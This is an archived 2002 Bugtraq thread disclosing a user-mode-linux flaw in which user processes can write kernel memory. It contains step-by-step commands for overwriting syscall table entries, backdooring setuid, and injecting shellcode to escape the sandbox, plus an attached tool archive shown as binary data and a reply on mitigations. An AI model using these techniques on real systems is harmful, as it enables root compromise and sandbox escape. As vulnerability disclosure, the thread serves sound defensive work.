7900272 2002-01-28 13:16 +1100  /185 rader/ Andrew Griffiths <andrewg@tasmail.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-28  21:18  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20711>
Ärende: user-mode-linux problems
------------------------------------------------------------
From: "Andrew Griffiths" <andrewg@tasmail.com>
To: bugtraq@securityfocus.com
Message-ID: <200201280216.g0S2GvH06047@franklin.nt.tas.gov.au>

Program: User-mode-linux Version tested: patch-2.4.17-8 [ I assume
all previous versions would be ] Not vulnerable: patch-2.4.17-9 [
Haven't tested any different techniques.]

Now for something completely different. Anything in []'s is my
comments to my article... deal with it.

Description:
------------

User-mode-linux is used to enchance kernel development by providing a
debuggable kernel, and also as a safebox for some applications.

[ Hereafter, uml refers to user-mode-linux. ]

Problem:
--------

A user proccess can write into kernel memory, which will allow a
person to get root inside the uml "box", and the possibility to break
out of the uml "box", into the real one.

This can happen even if the jail and honeypot options are turned
on. [ Though I suspect the version i was testing was half-way through
implementing them ]

Some effects can happen, such as causing the uml processes to die,
and making a process chew up heaps of cpu time indefinately.

Reproducing:
------------

I used the small debian 2.2 root fs to play around with, on a host
kernel of 2.4.17ctx-5 (vserver context security patch).

To start it up I used: [andrewg@blackhole linux]$ ./linux
ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot

[ I'm being doubly cautious, and looking at the jail setup code, I
don't think  it would have been bothered by my putting it in their
twice. ]

Mitigation:
-----------

Well, to prevent some of the problems, I suggest running the uml in a
chroot()ed enviroment, with memory and cpu restrictions turned on.

Not allow people to run their own code. Well, thats rather tricky,
since if  they can overflow anything (just a normal program) and
execute code of their  own choosing, you have pretty much lost
already...

[ Free tip for those who use it for high security. Put all the
binaries on a  seperate ubd device, and leave make it non-writable by
the uml process. That  way you don't have the
replaced-replaced-binary problem, however, /bin would be hard to do. ]

Fix:
----

Upgrade.

Exploit:
--------

There is no exploit as such yet, just a tool to help you exploit
it. Attached  is a program for you to play around with.

This program is somewhat simple, and definately not
finished. However, it does everything I needed it do, plus a couple
of other things.

For the commands you don't specify the offset for sys_call_table, it
uses the built in one at 0xa019f650. [ Which is nolonger valid for my
./linux, and most likely not for your system. ]

[andrewg@blackhole mpmt]$ ./mpmt -h
./mpmt: invalid option -- h [ Hey, I said it wasn't finished. ]
Multi-Purpose Modification Tool v0.6 by Andrew Griffiths
./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ]

./mpmt -o 0xa020ee1f -p -1 61
        Would print out the offset of chroot at the sys_call_table
        location of 0xa020ee1f

./mpmt -1 23 -2 36
        Would replace setuid()'s location in sys_call_table with
        sync()s function.

./mpmt -1 23 -2 36 -r
        Would replace setuid()'s location in sys_call_table with
        sync()s function, and restore it back to it would in n
        seconds. (time default is 30 seconds)

For values of these numbers, look in /usr/include/asm/unistd.h

Also, you can do abiratory read and writes on kernel memory,
with the -a for the address, -c for how much to copy, -R to
read, and -W to write and -F to specify file.
[andrewg@blackhole mpmt]$

To do things like play around with the sys_call_table, you'll need the
address of it. To get it, just do:

[andrewg@blackhole linux]$ nm -a linux | grep sys_call_table
a01bb744 D sys_call_table
00000000 a sys_call_table.c
[andrewg@blackhole linux]$

and the first address is the sys_call_table. I haven't looked into
determining  the sys_call_table address while you're in it. I suspect
it could be done by looking at the kernel memory (which is an elf
file), and finding the address via the global offset table, or
something. If it isn't stripped, you should be  laughing. Once you
can work these out, you should be able to write a version independant
exploit.

Since you've already seen some of the things it does, I'll explain
the bottom  parts.

To get a copy of the first 256 bytes of the sys_call_table struct,
and to dump it into systable:

andrewg@usermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable

To get the first 2048 bytes of setuid so you can backdoor it:

andrewg@usermode:~$ ./mpmt -o 0xa01bb744 -p -1 23
Location in memory where function 23 is 0xa0018024
andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R
andrewg@usermode:~$ [ Now run ndisasm and patch and then run... ]
andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W

The sharp reader will have already noticed that we could replace the
getuid with a harmless syscall such as sync, and then call su || su
-c "shell script"  to do what we want. However, on my system, there's
a couple of problems, like it starting of way too many su proccess's
or them dying straight away. However the
-c one seems to work...

[ News just in... ]

And now for the ultimate exploit against User-mode-linux: Breaking
out of it.  To break out of uml, you need to cause the tracer program
to execute code of  your choosing. [ No shit!?! Thats because the
tracer pid isn't running being  ptraced itself. Sidenote: If you
could kill the tracer, you might be able to execute cide... ] We can
accomplice this by writing into certain areas of memory... The
function I have choose to target is do_syscall.

Now, for the exploitation:

[andrewg@blackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall
a01000f0 T do_syscall
[andrewg@blackhole andrewg]$ cat /tmp/sh <<_EOF_
#!/bin/sh
echo OWNED > /tmp/umlisbroken
_EOF_
[andrewg@blackhole andrewg]$ chmod +x /tmp/sh

And now for the usermode linux part, where ex is just a program that
spits out standard Aleph1 (Phrack 49) shellcode.

andrewg@usermode:~$ ./ex | sed s/bin/tmp/ > exploit_code
andrewg@usermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code 

At this point, the screen where you started UML, is probably a
message like: Kernel panic: Error mapping a page - errno = 9 [ Bad
File descriptor ]

I suspect its trying to mmap() a page from somewhere with a fd that
isn't valid for the real kernel. (Cause it's no longer being
ptrace()d.)

And now [Drum roll please]

[andrewg@blackhole andrewg]$ cat /tmp/umlisbroken
OWNED
[andrewg@blackhole andrewg]$ 

You may be asking why the shellcode doesn't do anything more interesting than 
exec()ing /tmp/sh, well, you gotta remember this is for "proof of concept"...

Don't forget to do a "killall -9 linux" and restart it, cause you've
just  killed it....




--
www.tasmail.com
(7900272) /Andrew Griffiths <andrewg@tasmail.com>/(Ombruten)
Bilaga (application/octet-stream) i text 7900273
7900273 2002-01-28 13:16 +1100  /31 rader/ Andrew Griffiths <andrewg@tasmail.com>
Bilagans filnamn: "mpmt.tgz"
Importerad: 2002-01-28  21:18  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20712>
Bilaga (text/plain) till text 7900272
Ärende: Bilaga (mpmt.tgz) till: user-mode-linux problems
------------------------------------------------------------
‹9ÃS<ì[
t×uÁ‚¥µÂ\l2?+UÒþjWHÈÄ
ãˆK°AY¯fg5»;ëYŒ•ÈË*5Mœ“œ897ÇMãÄm‰ëã`W-¸àØÇ¥-9u\Ú:5>]Ùò‰Úr™Ô{ï{»3’V
ìàœ¤§÷Ýûî»ïÞû~çOÆ
§pm—Ëç
ª!w¹~ߘœ?‚+àóø^ŸËå\nwÀíÄêkl=iݧDQ'")ywǤrW*ÿ-}âØÿëû䨓¯Q.·Ëå×ïÖþ÷øª-ýïy¯·Ú-ˆ®kdϘçÿyÿ74ˆõb‡$Ù›V­m\¹5‹‰•I9NªdoZ·Øö–fÄÑR%Ù7®¾ˆÅ`ÖVIõUZ™Ý^%Uiµö¢Å{ºÅÅ{I]·X)‰‹WØí ²˜P¯{‚Èâ½ØD7/+5jÅ^´2+£by•fÿMéwø¡ùϺõšµq…ùðÜÙùï
Àćùïªöü~þ³\´‹åEëÓ1C­Ü”N%5]×k5ªJaCÕâfM‹ˆÓn¿CMH±tDWèF$¦¶W)wZxé„
ì±<ÝH©‰Žñ¼ˆªeuȆ–4ÆòäT*1N,*%ŒØ8e]ºÓèJÊúD6ô+©´ƒ‹Ø޲μ`„¸%Øܲnã±ÔUå/%©dJ34ÒF‚šÓz¸CvH
Œ‘òD8.—Õ‘h40:—“´ïµE“#ê§Á¡
±ô
;—èb{—¸ŠF›¸6¥F£ª¡è;¥Y‹Ñ„‰Š¡^¥[Ü.VzÄ6Ì4–%Ňp…_:c¤Ä¶	R—u'¿.Mtí	»<.YvGQ
(÷»­õ&VÛalÕÒ±ˆH|QK¢¡È¢ê2QQRRšfˆaƇ>
I°1„Œp{L›Œ˜Æ#²fãdíå|öxÑi¯jÆ¥äd,,Aó²‘V#Ž²eº˜kWMŒ³JÜ
ÁGÓô®„ä(Ósý^5e« ⟦a",T K7´”,ª†Ø–v‰††p7µºTS–´DD¯†—qŠ„alŠª.z]"/,»Œ›ZJìÇÒ0[ ¿ Ga<'Òñv9¥W€åÚ.ləÖSN>-a=îÌ®\qQ>Í«bºV!viiQ
'Ĉ&†ÛÕTêÇÂòpwJ5°å„¸KN%䘗ã PÁ̝¨ãEî2,FÁr„áL2¬…S
òm·OK
†KҒ]PÐx2•hwåV¬B&1ºi=)Kj´KēuU6ŒòÕp·­Ûj\µ®©µ9Ün»'L<¬&©©Bd+
àÎím´–¤ºÚ‘#ÜD‡¨‡;eh¾¼|ÜÀ¨cËh*¹—GýÕ®ºñJÊ1õZ›š ˆ&-MVw½«‚CB
õ^Ñȑa` ­rõ¥tx€è‡"éx²”ë¡XaU>Bˆwµw
Ò9C€Q®wñ:Ï(r)QâË{è^Ø#
E5êÀÀˆwŠî2QÅ>I%¤x’˜ÛÝmÐ9•áH§*É0ñeõõ®2XÄ{°t–Xfˆ›Â
UZÄ{—uŒÏƒú£h·½æpHx:¦ÝÉÁz[õZ­»ÖSCÂÐkõRmcmóÖÒ²2q Ý¬1†œ¤8$FIa˜Ë´epD†¢+uøcÀdu0+Dì¡
Ñí'K‹Ú!R»êrJÝL)ï:ÐFµ#c*ç­è±Vô\EÅ(«È:ê¹ó
%™	y%RL";DòÊèËjE

™¼"SC«ØÔ}³Z8²µ¦p‰UÅÁ{
6²Z8iX­H:Ékå•oÎFfÅd1ÞÊd؄™(ÔÍÆ2Îr³žY'îŐ—mÔÀvÑ,ʍ
`ˆ=”[pú°Ó
Í/WÙøXº”Íè‰R–fØ4ÈMÁ&ËÖƖnq·"֕ÝÈÄ%܋–$i÷ä¦UŒÛ·s>³È²¸¶´64[ZÊX¬Ör;8í€9›§
9)G4‡(†Ü9äaÍAË:îÔÖFø`.cë3vt~ƒ¡Ž}üB+œXÍӖ
&4”rÜQêlWÎö°®”æ3Õc²œ¤-ž»u™6Ñäì¸åŒ°ìÐYĆv5‹hÐìá,<FŽÃ°0 ãZRN8p´WˆC[›7nhº÷¡¡†æàªÍonnÝАGq…è7B¸H£q‰^)wŒªÀÙ{°–rÐ[BÙøÞ7·V³chŽ@Kd/ÛzÊÕS6¶áÆ0,ýsG—;åT—¡À‹LE֊«mŸ
›h„8¹ÙŠÜäqæb<Ðy£Ú¼£úiF;ÿ*ƒHG¶Oñ!ì†#ÓoúÅùwäÉÝÿ\Ã6ðþgòûŸÏðŽ»ÿ÷ø=¾ßßÿ|σM9zš0]@*yÀVèƒü™åŒÝ!ÌÂíÂBȑ†Ô2cšÉi:¤ó˜ Ӎ€oäe<Ñe˜æBý¹¬¾PÂʉ÷4”AªF¤™¼|dMó
ý©­Óa 1Íäm`*ù‡m…˜D EK™3¦¶;c‘ʘšHï©Òµ*ã—pÛÖnhå±`
íšé
}Ò
Š!ÍãnÜÌó<¿‰û;ÒuæCšé«ïSxfpŸ®‡„ë]¡¥l:ÏçðÜÆmÅg.÷¥(Î'Pö[áîÇÊý0䥐v@ZôJ^>
ö]ËévHk€®äôã6íáô"H Ýœþ3HÐó9ÃiÐöéŒ~m²Ôß
éi ¿Çí9‚6BÛÈכ…'!?
å^.vžú­F€tèWxùÎýcNcœ·´WŽñ€±þ-ÞÞۏ¦ÿ/b<€žÁõ¯‡äÚÉËq¤¬ú9ÝiØbïß`ýdzôláK/‹~ëxñW(Ô×!\•ŒPH€¡*áõlg²Û&J{¡¨šÇÔe:î
ìµBào5,t¢ø=ԏÀy»C…j©P4'‚šˆjîסðŒ,°w½ìþªÓ¾ÊÞQ
¸u¡uCxÁ›¥u9Bh?wï7<‰ìà¥ùÚ§^XÛ´nuCÈSå®ò氋Æø•~¦[pÍ
ü]Âç>úíjÎ
\#ˆ¯ª³Pó\ÞwAÿͼ…»Ŭ?gÀ$†µè:99(ÁÆñE̱ƒAî:˜´6Ìaâb@1æ0yK0‡–çbz>æ0¹bˆ˜Ã³sX<˜ƒ˜ÃDwaƒÆ‡9,05˜Ãd_9,F+1‡Åg
æ°µö½Û;T˜yL>”iƒ3/ƒ¯­Î€Å£K†à7ú;º=S¾=
ÏôPÁ²ÁÓD£§
†jp€hôXÁ)=øÑ蹂Ãwð0ÑŁô!¢1
vß`Ñ¥é$ѧÄàýDc„”»ÞD4FJلôJ¢1bÊ6¤]Dcä”û‘‰Æ*èÐ`
ÑI%‰´@4FTكôð%¤1²JùO4FXy”ü'#­"ÿ‰Æˆ+_'ÿ‰ÆÈ+‡É¢±”gÈ -S\pðù¾ŸõžÞ´¹Yþc:»ßVxÏå›}¶ÂLÔ=ß÷!ô[˦Joøx㭂Ðßbÿ€1môtÛÅW÷}xˆ?­ýó^‡Î žÞÿOéuýóNÙ?
„o9h,®¶}9£7ðûþWÓ｀K,ˆ”ô+§ù:ØÙ{¢äœß&CmÇvò1DÄóhÐ/à~Í
ó
SΣ³¤äø¯H
J:xt)—_èÞ!›²òqì3ø5Z-ó<«E£i¦Yð­1o˜û²0v帉1â[̂VS¼Çä~vŒø?˜K-Úÿ$Ç-1¹‡M¦ì—sÜs&w¥É}Ãäö˜Ü²Ü❙~h$ûm'ƒ#›>\pødTÂÉà0ˆX–¹²³?U'ƒo2斝fÙë,;Ų,À¬·»¸ ³¾?XÜ;`ƒì¼Ny
-re^dÖô
ìHߊcäàgN˜6–gþë"Ùxöæ?cÅt1Ä0ÓÆÄ
¾óXðÀü"Œ*›ýrðÞŒ»/x´·ûhÃîSý­Gûm_=ü¨ù66_²S­ÆÅ6ó
Þ~päý#}B¨r%‡XÉO»õý}ð¥âŸÆõýkÛ0€ÁL ±ò÷›ò­9ùVBùÕ$‘Âa?è
bHØAøᅄ_/È®'VýÂdödPÿ^böX}{ù—Ü·óƒÇ/Q­úžûå$öžB}_æúŠ¹ôê\×ÙÁÝLt0Ù©\B›ïÀ¹Ý}^˜½¿´;ýM!½°·{X0föv
iìPÐí!ÞÁݧã¦Þî×Ã,kȖ½)åàQpx×iø=2ê+M+tcæȅÜ2¯qˆt­Î~4:
ëÅ,Vòç¸ßH|ÿ#ËÈÊ$¦ež`Dfóî3‚1;×h¿
œ¾ˆä)[ëpz
û…>›=g¶Ræ
¡úì}/¡û¼t&sŠñ-.BåÁ'q¯¤Xíû1M€p®àt][èhúlæìG<êçz»Ï
]5
¶¦eJ©ÄÖ7›I¸xÔPühÊ~«£Ï
kΩÑôùÑô¹Ì×F¨´.xÊ0m¨ðGL…?$\¸I¹µ¬Úîû(;.@SÓÄçø
Î{(#ŸŽ‘O€þ’ù´“º~¬Cu¦C÷XÚ¯çÐÑ‹
ÿ2ÂûÔâÓÿæõéW¿0uþìܧT(Y>2bñ©äJ^=ÞúÔÚîZPÙÈ菐2n‚†[FKÚû6Ø#§CQúü¶ímÇóì?-ÍÙ½õ½y´.eþš¢}U˜ðLççÇÉœÌ/÷|Ìïý¹ë­«ø¬o·“~¸Ÿôº¬èã²·åÿ`Ïí0?_î®®èã~ü¶Mø&?¡a˕î
íOíÓ;ԛʇw;7ü“}e·_ñšô“|kGåŸà»:ÙvUÑ혏ÍÿÈ+X¿çڅ|ßf'õêß¡ìBî[‹0áV}Ò8_þc‚]¸ì=9h}ú1[áHk~
N]W%:üÙ)êˆp¹}yÛê>
©„Ë-„ÜÉ×o+œ,Îo?m–á+ž5Ç;Âl™Þ]nTŽwZî†t¤„ô¤o@ú.¤ñÞï–
½éÞ[€úÊ!ÕBºÒ}˜~<láK2Þ
âkÞùá;^
8¶â}Þ¡^[!Þé½
4Ýé°û=¬—½OÄ=çøƒ»Îs»ÏÃ{>¼g¬½ˆçBŽ÷GøŽwhó´sûà4
9Ú2ù÷÷™¾³ë#BÇ&/•O€íŒ÷X+¸<Þùõp±à/Xð³ü®ãI3‹u>aÁ?·àÛ¦™ø.~À‚û-ø;|҂1xY|‡ßeÁ)~ð—8þ¡ãs$þ€ËH[
†6†¾½@pÙ̺Üf»²N+~€Ë¿
ùwmhçÉ
2/_$ü‹.%\0ñ„o&¼„°“0½šAÂnÂ;{„½„û
û?M˜ýWÆ1ÂììóÂ5,>„ÙGƒ™3×^J¸žð Âwn&üYÂ
ᕄ¿@xá¯^MøYÂ
„^Cø-ÂAÂÄ
^‡x-áÛ	ßE¸†ð:Âë	o
üW„ï!üáfÂïn!<­ñf·fß–ÞBøÂÛ«„·î%üyÂOfÿuñ„Ö.ááw
?@øááEˆÓ„}„;Y»„»Ç?H¸p7á§÷~‘p/ëGÂûÿ7á„ñÑ#<Fx±Ïמ(¶qÜ‹WÝ2s¬>oá_²›c²öz“__lŽ±{
³è;Åf_ÿ{±Ù§ŠÍ¾88ñ},n³ÌØff™ú_úŒÏ#̾vºg›±j&ü0á·?Bx>ú&üÑ¿¬8;gç€.’¿–ZŠ‹PS0^~{‰¹&$8n¿ÝÔ3^¾§$?ÿYÒÿ¹ËÚ暃2·Öç˜ñaŽ©ó5Ž«ÿ–­cg±3‹°ÈôXdÆÇ$Ë?;Çì‹Ý`âÿ¹Áœ›oD|7áÏÝhúõЍæ\ûá{
¿G¸ðsßÏl&&ü•¹f[+ç™xð&ÿÇÍ&Þ2ñ÷&øbÅÎ7×ÀÏX`®·.0×ÀáÚ
zîY€ß{JsüˆÀö_AM¨ø¿t¤×S’³]w®n]×´ÆفŸR*=Uðã”ô´Sè$OHÒâI<AVAE£Öp¸*Üeõ)Êê*=n_ÀWãõûjêr0P'à_S’¨‡‰zÊê\un”Ð…fyY©wrE¹¿ZÌVñ±*>Ph}€òrofBåjV¹z*•Çê/«_©û}u)Âuøçyž:W
ßcU8Á¤€Es`‚]îIꊖ2r:jP‡ÛO:j
–^OÀ_S‡¿s¢Ú]n©³{Ç_]í­q&–ë@·kHp]¥ÛSÃz2§Ò”u[dݨÔS
*£1-ÌŽ'7r|P*D´4¼ì²"o®¨‹(ZÖr_®ÜíA–1yOÎ!7t®^¯8±Z«€qå©SãáN{=È0+ZÌòsÝ~ÞxVÄÚ~€Ë@'AØ,B,­á’Ðr3jO«1CM„:á¼739è‚rœa–
UU¹wlšŠzW¼]‹éUÊ&+ªTªÞ?û‹'¼áGÕ¨õ.="'ugG"í­
å+‚—ù=Ht:YõvÕÈýӋը¨6Ò©ñ\üW)"G9;®êÒَËI%ædhJŽ(aƒÛë©Zî7õ¨
uõA9„ÁªÁ%‡f=Ä2âÎǹ0ԈM#øâ/gl6@|¸Ø˜*°Óˆë#n5ã>GBLºšøä[¸~âú‘jk87ÀÌp‘¿Æb°Ý~Î_Nüš¬xŽïv™vßëÉò¹ŸÙ
fÇô
ø~_–ï5íL)ðYÜÂK”,ÝõÑD('7éÛ}g¶4@¥,Hj68Î)¬ø&w¹ÉUçÒ÷1CãZDβݦpF®,ßcòµh4Ëe^7faûH˜lNæìðT›1Ós
ø~“ÿí[ˆYµº'c›l&qÖ5&»ôçĝ4ÝUýYv2әì™
3e)«{ª§{ÓÝÕ[UÉ°"~»"d÷CÁEØàŸnðÂ"äSQ4Eò1èÏ"«,¬
¬žsÏ}ÖôüYö£oÈTŸ{ιsÏ=çÞª{OØï
DvY5³¥ÄìŠê»*\ëd'’ÙõÒÉ£%ra²ƒ):ã…øƒ™8ö|¬ÿAW¹$l¸4
»Ú`9Յ¶žOƒè”¸]A<¾ÿè²ߘ¿¨ŠÒ£(‰«*¶h¿ÕcTÈ©üv?hËü|"_Š§`«vc»D»ŽÊ¿îˆ\­—½Q[ÚBQMh6¸…’ª0ía,å$Bp¡¢Ô§™\U¥%ùŠ9¥¨Óë+¾b^ç#”â³5…*ßQù Ü*ŸÔÛf¥ÅnÔöúž\±¨ºà¸’²l`F±D”µ™ãÓ÷‡#ÕÌ83ÌqßFÒQŒ(ƒ4?ñXµ»°ˆìb­øËy¡7¨5òlAd~ØÂ^| »q˜¼6·ãExï:pVùL˘ã¨ÆDA7ê
éýe9»~ÔF/ReÞ¢ŠîásðiߌL"(>·ãÚžïÅ
Έ5—N
Íeìµ»Ø_o9ïÕ(è÷ÚF[†‰¤³0½a×0ÎT-
¦`$j€µep'BùJ0ä¢rhÔuf#"?\U;¬ÑrìnAÃhåÙʼnÏ@ÌÄWbâ=8´Wf8P«(oƒ9pi@ªÒ´a޾׃¥Ñ^—À’Q˜VY•ˆŽfw<$ôDð
CRÞ³ 8ÇþM¥ÑGÙPäÀ…õސrç‚@KÆÃ81‚7Øú¡Ñv̽Þ&Çm wŽYv£IZ?™£®Ò¢[…h­ÐDgƒaیʿ
l¸ÏÍ3›1eÔWŒpÂh@&²øaÄ+]ûº
º*zŃ(õR°%ñB=¯õJ*&d"XäÉAàŠ©z,ûÄú\!a•/&ðº@Isp!‚±Iyº‰J…Ée
‹ÂK´åªL´¼0ìù¢F›4Ëfš•¿ãM8d†þ+㞪UH0#TE©sB䀘(í¥d;´ÞÛ¤N6W'³Ÿ
eâÒ}ìãr›åæó‹Ò¹ï÷¸»ƒL[sbϸÈ+ì·£l[´œ£ünÈYbPý³©T—Û†QŸ“|Ù§ÌҀàÇÐY(ªF­$Óbµ2ƒE—³ÄVM\Êc¬¹Q@Ë!ªŸªG‹ù5Z™.*ƒSõ¤A´~£"¸Og-[`µÃ\Ž^h…Q(+DîXÅ|†?eFýié»îÚÊÖæÝ­/Ôr‹ØÜÂG-¯e¬^®Ù¸Qߨ9®o\m¾ä®o^½Ö¬dî•k†»u­‰¹E™»ÞhÔזœº¤ò7W¶6®6êÍ:G•±¬ÖwV¶×¯6·¶k¯YßÞl}{ÕÅ%Ñ=[ëÞúŽÛXÞij]Z_ÛÜÚ®×ô
—ÏL>n§Í”¨Ì䏺|x¬èˆQâ+2E^"ò2'¯"÷ÁáIê*Q£bäè:|ƒ/âÐFŠ…9!|:‚§p¨bŸà
´¶±>K‚µ|ë+c?<Ð+œ±ÊÑ4Nd4…ÁÌ>mÁçÁgH…Y
|[é(±€¿÷ø@—¹íTòââÓí°T¸P¤‹6Û›"­,«‹¯~„BQDXm-kVV46Šýo&ˆ0*ÂLŽºý^ËízÃݾÏJp„àž֕œµ€·Ýzه6É%F°‹·æˆÑ›8Ùfëü0á&:a0p‰mýd/âÀȖ.YHÁÑÜ°aÒvåˆu±éëÃAobò±Ø᥋b­ãݜ„®Tqǁt¶¹C¼
Y´5ëÚ‹W|NeÂ0ò¥Ã¥)nÃي=Ç­q‡„Q
qç•!¬K"Ñé{{ÉõQoxƒóHŒ“Žæ
½>n½“«wÖ«ÕCÓÃI.â•;À±aN‚)¶ÐSµBW&¬ð—ÈYQ_ÑË¢YR
óÚ,»JrElÅp•—òK\”(œV­°°Ü
äÀ
öšÛ“D{Åæ qÀM·¹ KjkZ½!.S´½Ñd*ÕDjh8ïêy^õ†Íáoä*y>‘æð7ry–?Ö´Wrkú»7GÛV˜7RjkT’µ¶²RË,¬m^»˜Áכ›]Jtò™…m7ó¢g¸èɔ³yFp©\ýè¸*ŏ;öKœ+Á|6‡	>Š<+b¯Ï8¤gWübyde‡Aìg—/¯_Š½=+ÛÅ3[Ù݃!0Ò3­ìÞpœ½›)¼¼¤.àB¿ŸÝbúъ"ú1êÇXEþ²ŸèÖ¬lr ®Céì¯ß¥+MV¶!°ï҃•	
ð½6´›•ÌþD¼C^‹µ
f×6ÔëÿHç¹°ðì»iÑù ‘ÄÇhü
|œÓ±{’)~ÿŒ§cü‰Ÿåtx†iè~©áñÿøô	N‡g›ݝñ¦,u¿OzÌp:<õ&Ïj—àÄOü*Œç˜Ï0ý
(iõŠ»™øeøCN‡gŸAÎ2ëńÑíNp<;5?KʅøyþD¸¯Ñ]º³ÔnÄ?­Ñ5:<“µ8KgµR£û:ožùÂ3aféÌVRÎßÔèÞº÷n”2éðÿ·4:¼£;Âs)ǝ¸ãö†F‡gÐÞ{Òâ§Ìz¿k)}ɼq쓙ӖõÃYE—áÏïs:;v/w^Õ¥—÷–F‡w‚îÍ+œN÷cÏpߟ7ï·
ºŸkt€îÁtïhtxvîÐutøÿ.—	Ò±ûÃOÑÝáYËÿ¥î*ãwŸ²Œ$†æœ~F£Ëht¢}÷-ó®'ÒÝ>®î½ù³¥îöbzó‹×KÖû×DyÀäX0ðš¦ÖRŲnNèǙD½?ºM º"Ò7ž‡ùö	Ò­Ï[jžŸH”wgÕ²¾­e<î4Ú-‹ñÚ'‚©æ	S%LÒF»B0ª89C7ș ˜$ƒö€`Ò¬¦ԋ¦c¾$üµWÂ'<zMÀ§Œóà'ŒóŒàÓ¾{[À4£îI˜nwߗðYª_ÂdÙIxžÁâ¼ë?Qú®„?€ÅÍuJ3†eBø\þl>Ÿ€/$àgð³Æ¸³þù_”Øw^gTO±œø¹½=ÿ®Æ'}[œÇc'HøSÖ<§á¿¬ñc}xÒîžÄŸav9óºÂ£]ŏŸaø§-¼šÓð·áùU
~Û(oÎú•¥Æ3ã9©?wn©þüVƒ±¼¿ÀóO?Ö÷ðÖÑõýÃRg£±ÿÿIôoÒx¼§Õ"u?z]áçRJß΀¾K™ñžK™ñ0Žƒ_à+)*ï"»_Êj'â
Ä)š/dWN[¯¦Ìø·Rfü¤Ìø?M™ñ~Ÿ2ãà:EÌç³0Ÿÿ–2ãü;eÆ#8Ÿ6ã\J«ù>í/¤ÍøWÒf|‚/¥Íø/§Õ|<ò½0ÞÆõ	ÊãÕ´¿à{ie/2Pã[i3žÁ/Òjü΂½y'mÆ7øcڌoð÷´ßàƒD{>L+ûrìË<Èíäþ܌aqƌ‡ðüŒáêŒÁQý™ƒý3>Â×4Ÿ‘Á?¸üÆw¶<Ç.è¨à	â$];Œ£xÜéÀÏQ6[áÕæÖ¶ÛXßiº.?&{¿ãî^?hy}—-×]o|rë/ºW¶—7êîåúÚú&0aõôuË¢—DYÛ¢”É^ØÐÏNâǟ€m„¡¬­n½¾¶V£©o®2’U fÄc6»«/m.o¬¯ð 
/¼ ‚%L¯ °?zßFŒ‚:#·»/Gè¡Ã"8…Ù3P„AςVÔl{E"ÌR&F«0+ÇÀ)®0H1JF¢áï¬6f¼ºâP0Ǘ“˶ˆfÀ…Çx•HçÀ`F	>)ÐZcëòrÃݺre§Þt›Ë—uP¸+b}$:†).ˆQp2`‡ÖüàdJÄM2MÓ4MÓ4MÓ4MÓ4MÓ4MÓ4MÓ4MÓ4MÓ4MÓ4Mãô?xÕ)(x
(7900273) /Andrew Griffiths <andrewg@tasmail.com>/(Ombruten)
7921665 2002-01-31 09:13 -0600  /46 rader/ Ajax <ajax@firest0rm.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-31  21:37  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Andrew Griffiths <andrewg@tasmail.com>
Mottagare: Bugtraq (import) <20758>
Kommentar till text 7900272 av Andrew Griffiths <andrewg@tasmail.com>
Ärende: Re: user-mode-linux problems
------------------------------------------------------------
From: Ajax <ajax@firest0rm.org>
To: <bugtraq@securityfocus.com>
Cc: Andrew Griffiths <andrewg@tasmail.com>
Message-ID: <Pine.BSO.4.33.0201310847170.6711-100000@belial.firest0rm.org>

On Mon, 28 Jan 2002, Andrew Griffiths wrote:

> Program: User-mode-linux
> Version tested: patch-2.4.17-8 [ I assume all previous versions would be ]
> Not vulnerable: patch-2.4.17-9 [ Haven't tested any different techniques.]
>
> Now for something completely different. Anything in []'s is my comments to
> my article... deal with it.
> <snip>
>
> A user proccess can write into kernel memory, which will allow a person
> to get root inside the uml "box", and the possibility to break out of
> the uml "box", into the real one.
>
> This can happen even if the jail and honeypot options are turned on. [
> Though I suspect the version i was testing was half-way through
> implementing them ]

you're right about the "half-way through" bit.  2.4.17-9um is much
better in this respect.

the honeypot option explicitly *reduces* security:

/usr/src/uml/linux$ ./linux --help | grep -A 3 honeypot
honeypot
    This makes UML put process stacks in the same location as they are
    on the host, allowing expoits such as stack smashes to work against
    UML.
/usr/src/uml/linux$ ./linux --version
2.4.16-2um

as of 2.4.17-9um, the "honeypot" option turns on the "jail" option;
thus the most secure setup is to run uml with "jail" and not
"honeypot".

also, running uml itself within a chroot, as its own UID, and with no
capabilities, quite effectively limits the damage an attacker can do
in breaking the uml container.  but you all knew that already.

-=:[ ajax (firest0rm)
(7921665) /Ajax <ajax@firest0rm.org>/-----(Ombruten)